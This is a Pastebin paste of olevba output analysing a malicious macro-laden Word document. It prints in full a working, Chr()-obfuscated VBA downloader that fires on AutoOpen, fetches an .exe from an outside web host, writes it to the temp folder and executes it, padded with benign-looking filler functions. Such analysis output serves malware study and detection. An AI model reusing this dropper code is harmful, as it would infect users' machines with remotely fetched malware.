Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.26 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS-H-- 000001.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
- ===============================================================================
- FILE: 000001.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: 000001.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub FFewegUU1(FUU2 As Long)
- mp268P5dmPj6hB
- End Sub
- Sub autoopen()
- FFewegUU1 (866)
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +----------+----------+---------------------------------------+
- | Type | Keyword | Description |
- +----------+----------+---------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- +----------+----------+---------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO M11.bas
- in file: 000001.doc - OLE stream: u'Macros/VBA/M11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Type tagInitCommonControlsEx
- lngSize As Long
- lngICC As Long
- End Type
- Private Const ICC_USEREX_CLASSES = &H200
- Public Function InitXpStyle() As Boolean
- On Error Resume Next
- Dim iccex As tagInitCommonControlsEx
- ' Ensure CC available:
- With iccex
- .lngSize = LenB(iccex)
- .lngICC = ICC_USEREX_CLASSES
- End With
- InitXpStyle = (Err.Number = 0)
- On Error GoTo 0
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- No suspicious keyword or IOC found.
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: 000001.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function RandomNumber(Upper As Integer, _
- Lower As Integer) As Integer
- 'Generates a Random Number BETWEEN the LOWER and UPPER values
- Randomize
- RandomNumber = Int((Upper - Lower + 1) * Rnd + Lower)
- End Function
- Public Function QN7pFLiUlj5(ZLJXSAoSKjsg As String)
- Set qQ7z6L8p5v2w = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & "l" & "i" & Chr(99) & Chr(97) & Chr(116) & Chr(105) & "o" & "n")
- qQ7z6L8p5v2w.Open (ipekwUxeEk8dG)
- End Function
- Function RandomString(cb As Integer) As String
- Randomize
- Dim rgch As String
- rgch = "abcdefghijklmnopqrstuvwqyz"
- rgch = rgch & UCase(rgch)
- RandomString = Mid$(rgch, Int(Rnd * Len(rgch) + 1), 1)
- rgch = rgch & "0123456789"
- Dim i As Long
- For i = 1 To cb
- RandomString = RandomString & Mid$(rgch, Int(Rnd * Len(rgch) + 1), 1)
- Next i
- End Function
- Public Function DBzfavone(CRSjLxvDjAsERi As String)
- Set DBzfavone = CreateObject(CRSjLxvDjAsERi)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+--------------+-----------------------------------------+
- | Suspicious | Open | May open a file |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- +------------+--------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: 000001.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public ipekwUxeEk8dG As String
- Sub mp268P5dmPj6hB()
- Dim uDXIWGiqPdonzr: Set uDXIWGiqPdonzr = DBzfavone("M" & Chr(105) & Chr(99) & "r" & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & "L" & "H" & Chr(84) & "T" & Chr(80))
- Dim DAp2f0xJbq: Set DAp2f0xJbq = DBzfavone(Chr(65) & Chr(100) & "o" & Chr(100) & Chr(98) & "." & Chr(83) & "t" & Chr(114) & "e" & "a" & Chr(109))
- uDXIWGiqPdonzr.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & "t" & Chr(116) & Chr(112) & Chr(58) & Chr(47) & "/" & Chr(109) & Chr(101) & "r" & Chr(99) & Chr(117) & Chr(114) & "y" & "." & Chr(112) & "o" & Chr(119) & "e" & "r" & Chr(119) & "e" & Chr(97) & "v" & Chr(101) & "." & "c" & Chr(111) & "m" & Chr(47) & Chr(55) & Chr(50) & Chr(47) & Chr(49) & Chr(49) & Chr(46) & "e" & Chr(120) & Chr(101), False
- uDXIWGiqPdonzr.Send
- Set DHyz2v5mICG8 = DBzfavone("W" & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & "l")
- Set YFKDZBHThU = DHyz2v5mICG8.Environment("P" & "r" & "o" & Chr(99) & Chr(101) & "s" & Chr(115))
- qK8feLrqC67 = YFKDZBHThU("T" & Chr(69) & Chr(77) & Chr(80))
- ipekwUxeEk8dG = qK8feLrqC67 & Chr(92) & "r" & Chr(105) & "b" & Chr(97) & "s" & Chr(105) & "m" & "l" & "." & "e" & Chr(120) & Chr(101)
- NmfekJVEW = uDXIWGiqPdonzr.responseBody
- On Error GoTo Elhczuh7a
- a = 132 / 0
- On Error GoTo 0
- On Error GoTo FeEH4er
- b = 56 / 0
- On Error GoTo 0
- vtDXeES9ee:
- Exit Sub
- Elhczuh7a:
- With DAp2f0xJbq
- .Type = 1
- .Open
- .write NmfekJVEW
- .savetofile ipekwUxeEk8dG, 2
- End With
- FeEH4er:
- QN7pFLiUlj5 ("NcJdYOPr1F")
- Resume vtDXeES9ee
- End Sub
- Public Function RandomNumbers(Upper As Integer, _
- Optional Lower As Integer = 1, _
- Optional HowMany As Integer = 1, _
- Optional Unique As Boolean = True) As Variant
- '*******************************************************
- 'This Function generates random array of
- 'Numbers between Lower & Upper
- 'In Addition parameters can include whether
- 'UNIQUE values are required
- 'Note the Result is INCLUSIVE of the Range
- 'Debug Example:
- 'x = RandomNumbers(49, 1, 7)
- 'For n = LBound(x) To UBound(x): Debug.Print x(n);: Next n
- 'WARNING HowMany MUST be greater than (Higher - Lower)
- '******************************************************
- On Error GoTo LocalError
- If HowMany > ((Upper + 1) - (Lower - 1)) Then Exit Function
- Dim X As Integer
- Dim n As Integer
- Dim arrNums() As Variant
- Dim colNumbers As New Collection
- ReDim arrNums(HowMany - 1)
- With colNumbers
- 'First populate the collection
- For X = Lower To Upper
- .Add X
- Next X
- For X = 0 To HowMany - 1
- n = RandomNumber(0, colNumbers.Count + 1)
- arrNums(X) = colNumbers(n)
- If Unique Then
- colNumbers.Remove n
- End If
- Next X
- End With
- Set colNumbers = Nothing
- RandomNumbers = arrNums
- Exit Function
- LocalError:
- 'Justin (just in case)
- RandomNumbers = ""
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+------------+-----------------------------------------+
- | Suspicious | Open | May open a file |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- +------------+------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO M3.bas
- in file: 000001.doc - OLE stream: u'Macros/VBA/M3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const gsTOOLBARNAME As String = "ToolbarName"
- Public Sub DeleteBar()
- On Error Resume Next
- Application.CommandBars(gsTOOLBARNAME).Delete
- On Error GoTo 0
- End Sub
- Public Sub BuildBar()
- Dim cbrBar As CommandBar
- Dim ctlButton As CommandBarButton
- Dim ctlDropDown As CommandBarPopup
- On Error Resume Next
- Application.CommandBars(gsTOOLBARNAME).Delete
- On Error GoTo 0
- ' Create the command bar.
- Set cbrBar = Application.CommandBars.Add(gsTOOLBARNAME, _
- msoBarTop, False, True)
- cbrBar.Visible = True
- ' Add the controls required by our application.
- Set ctlButton = cbrBar.Controls.Add(msoControlButton)
- With ctlButton
- .Style = msoButtonIconAndCaption
- .Caption = "CAPTION"
- .FaceId = 107
- .OnAction = "module.Sub"
- End With
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- No suspicious keyword or IOC found.
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: 000001.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Option Explicit
- Public Function Add_UniqueItem(ByRef cboBox As ComboBox, ByRef itemText As String, Optional ByVal cmpMethod As VbCompareMethod = vbBinaryCompare) As Boolean
- '<EhHeader>
- On Error GoTo Add_UniqueItem_Err
- '</EhHeader>
- Dim i As Long
- 100 Add_UniqueItem = False
- 102 If cboBox Is Nothing Then Exit Function
- 104 With cboBox
- 106 For i = 0 To .ListCount
- 108 If StrComp(.List(i), itemText, cmpMethod) = 0 Then Exit Function
- Next
- 110 .AddItem itemText
- End With
- 112 Add_UniqueItem = True
- '<EhFooter>
- Exit Function
- Add_UniqueItem_Err:
- MsgBox Err.Description & vbCrLf & _
- "in ssMDBQuery.MComboboxHelper.Add_UniqueItem " & _
- "at line " & Erl
- Resume Next
- '</EhFooter>
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- No suspicious keyword or IOC found.
Add Comment
Please, Sign In to add comment